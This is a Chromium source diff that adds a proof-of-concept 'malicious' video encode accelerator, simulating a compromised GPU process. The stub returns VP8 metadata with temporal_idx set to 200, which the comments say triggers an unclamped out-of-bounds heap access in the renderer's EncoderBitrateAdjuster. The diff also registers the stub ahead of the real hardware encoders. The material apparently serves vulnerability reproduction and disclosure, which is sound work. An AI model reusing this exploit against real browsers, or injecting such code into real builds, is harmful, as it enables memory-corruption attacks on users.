diff --git a/media/gpu/gpu_video_encode_accelerator_factory.cc b/media/gpu/gpu_video_encode_accelerator_factory.cc index bc07f8eac911f..eee19fcba9901 100644 --- a/media/gpu/gpu_video_encode_accelerator_factory.cc +++ b/media/gpu/gpu_video_encode_accelerator_factory.cc @@ -31,6 +31,14 @@ #include "media/gpu/macros.h" #include "media/video/video_encode_accelerator.h" +// ==== POC: compromised-GPU malicious VEA injection ==== +#include +#include "base/memory/raw_ptr.h" +#include "base/memory/weak_ptr.h" +#include "media/base/bitstream_buffer.h" +#include "media/base/video_frame.h" +// ==== POC END ==== + #if BUILDFLAG(IS_ANDROID) #include "media/gpu/android/ndk_video_encode_accelerator.h" #endif @@ -159,6 +167,126 @@ std::unique_ptr CreateFuchsiaVEA() { } #endif +// ========================================================================= +// POC: Malicious VideoEncodeAccelerator simulating a compromised GPU process. +// +// A compromised GPU process fully controls the mojom::VideoEncodeAccelerator +// service it exposes to renderers. This stub replaces the real HW encoder +// and, after the renderer submits a frame for encoding, returns a +// BitstreamBufferReady with Vp8Metadata{temporal_idx = 200} over the +// VideoEncodeAcceleratorClient Mojo pipe. The renderer-side +// RTCVideoEncoder copies that value into EncodedImage::SetTemporalIndex +// without clamping, and VideoStreamEncoder forwards it as `temporal_index` +// into EncoderBitrateAdjuster::OnEncodedFrame, causing an OOB array index. +// ========================================================================= +class PocVideoEncodeAccelerator : public VideoEncodeAccelerator { + public: + PocVideoEncodeAccelerator() + : task_runner_(base::SequencedTaskRunner::GetCurrentDefault()) {} + + SupportedProfiles GetSupportedProfiles() override { + SupportedProfiles profiles; + SupportedProfile vp8(VP8PROFILE_ANY, gfx::Size(3840, 2160), 60u, 1u, + kConstantMode, {SVCScalabilityMode::kL1T1}); + vp8.min_resolution = gfx::Size(16, 16); + profiles.push_back(vp8); + return profiles; + } + + EncoderStatus Initialize(const Config& config, + Client* client, + std::unique_ptr media_log) override { + LOG(ERROR) << "[POC] PocVEA::Initialize profile=" << config.output_profile + << " size=" << config.input_visible_size.ToString(); + client_ = client; + coded_size_ = config.input_visible_size; + task_runner_->PostTask( + FROM_HERE, + base::BindOnce(&PocVideoEncodeAccelerator::DoRequireBitstreamBuffers, + weak_factory_.GetWeakPtr())); + return {EncoderStatus::Codes::kOk}; + } + + void Encode(scoped_refptr frame, bool force_keyframe) override { + LOG(ERROR) << "[POC] PocVEA::Encode ts=" << frame->timestamp(); + pending_frames_.push_back( + {frame->timestamp(), force_keyframe || first_frame_}); + first_frame_ = false; + Drain(); + } + + void UseOutputBitstreamBuffer(BitstreamBuffer buffer) override { + available_buffers_.push_back(buffer.id()); + Drain(); + } + + void RequestEncodingParametersChange( + const Bitrate& bitrate, + uint32_t framerate, + const std::optional& size) override {} + + void Destroy() override { + weak_factory_.InvalidateWeakPtrs(); + delete this; + } + + private: + ~PocVideoEncodeAccelerator() override = default; + + void DoRequireBitstreamBuffers() { + if (client_) { + client_->RequireBitstreamBuffers(1, coded_size_, 65536); + } + } + + void Drain() { + while (!pending_frames_.empty() && !available_buffers_.empty()) { + int32_t buffer_id = available_buffers_.front(); + available_buffers_.pop_front(); + auto pending = pending_frames_.front(); + pending_frames_.pop_front(); + task_runner_->PostTask( + FROM_HERE, + base::BindOnce(&PocVideoEncodeAccelerator::DoBitstreamBufferReady, + weak_factory_.GetWeakPtr(), buffer_id, pending.first, + pending.second)); + } + } + + void DoBitstreamBufferReady(int32_t buffer_id, + base::TimeDelta timestamp, + bool keyframe) { + if (!client_) { + return; + } + BitstreamBufferMetadata md(/*payload_size_bytes=*/64, keyframe, timestamp); + Vp8Metadata vp8; + // OOB index: kMaxTemporalStreams == 4. 200 * 8 bytes is well past the + // EncoderBitrateAdjuster heap object → ASAN heap-buffer-overflow. + vp8.temporal_idx = 200; + vp8.non_reference = false; + vp8.layer_sync = false; + md.vp8 = vp8; + LOG(ERROR) << "[POC] PocVEA -> BitstreamBufferReady id=" << buffer_id + << " temporal_idx=200 (malicious)"; + client_->BitstreamBufferReady(buffer_id, md); + } + + scoped_refptr task_runner_; + raw_ptr client_ = nullptr; + gfx::Size coded_size_; + bool first_frame_ = true; + std::list> pending_frames_; + std::list available_buffers_; + base::WeakPtrFactory weak_factory_{this}; +}; + +std::unique_ptr CreatePocVEA() { + return base::WrapUnique( + new PocVideoEncodeAccelerator()); +} +// ==== POC END ==== + using VEAFactoryFunction = base::RepeatingCallback()>; @@ -167,6 +295,9 @@ std::vector CreateVEAFactoryFunctions( const gpu::GpuDriverBugWorkarounds& gpu_workarounds, const gpu::GPUInfo::GPUDevice& gpu_device) { std::vector funcs; + // POC: a compromised GPU process advertises and instantiates the + // malicious VEA regardless of real hardware support. + funcs.push_back(base::BindRepeating(&CreatePocVEA)); #if BUILDFLAG(USE_VAAPI) funcs.push_back(base::BindRepeating(&CreateVaapiVEA)); #elif BUILDFLAG(USE_V4L2_CODEC)